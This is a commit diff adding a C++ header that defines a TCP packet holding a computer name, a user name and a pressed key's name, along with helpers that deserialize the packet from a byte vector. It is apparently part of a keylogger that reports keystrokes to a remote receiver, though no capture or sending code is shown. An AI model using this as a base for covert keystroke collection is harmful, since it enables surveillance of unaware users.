parent
aca24e2009
commit
fb52755d80
@ -0,0 +1,49 @@
|
|||||||
|
//
|
||||||
|
// Created by dubininvyu on 11.02.23.
|
||||||
|
//
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <climits>
|
||||||
|
|
||||||
|
struct TCPIPPacket {
|
||||||
|
|
||||||
|
uint8_t typeID; // идентификатор типа пакета
|
||||||
|
uint32_t size; // размер всего пакета в байтах
|
||||||
|
uint32_t time; // временная метка пакета
|
||||||
|
uint32_t crc32; // контрольная сумма пакета
|
||||||
|
|
||||||
|
uint32_t pcNameSize; // количество байтов в имени компьютера
|
||||||
|
std::string pcName; // имя компьютера
|
||||||
|
|
||||||
|
uint32_t userNameSize; // количество байтов в имени пользователя
|
||||||
|
std::string userName; // имя пользователя
|
||||||
|
|
||||||
|
uint32_t keyNameSize; // количество байтов в имени нажатой клавиши
|
||||||
|
std::string keyName; // имя нажатой клавиши
|
||||||
|
|
||||||
|
explicit TCPIPPacket();
|
||||||
|
};
|
||||||
|
|
||||||
|
const auto MIN_PACKET_SIZE = sizeof(TCPIPPacket::typeID) + sizeof(TCPIPPacket::size);
|
||||||
|
|
||||||
|
typedef std::vector<char> bytes_vector;
|
||||||
|
|
||||||
|
template <typename T>
|
||||||
|
void popValue(bytes_vector& vBytes, T& value) {
|
||||||
|
for (int i = sizeof(value) - 1; i >= 0; i--) {
|
||||||
|
const auto it = vBytes.begin(); // берем указатель на первый байт вектора
|
||||||
|
const auto byte = static_cast<unsigned char>(*it.base());
|
||||||
|
value |= (byte << (i * CHAR_BIT)); // ставим первый байт вектора на свое место
|
||||||
|
vBytes.erase(it); // удаляем рассмотренный байт из вектора
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename T>
|
||||||
|
void popValue(bytes_vector& vBytes, std::string& value, const T size) {
|
||||||
|
for (auto i = 0; i < size; i++) {
|
||||||
|
const auto it = vBytes.begin(); // получаем указатель на начало вектора
|
||||||
|
value += *it.base();
|
||||||
|
vBytes.erase(it); // удаляем рассмотренный байт из вектора
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in new issue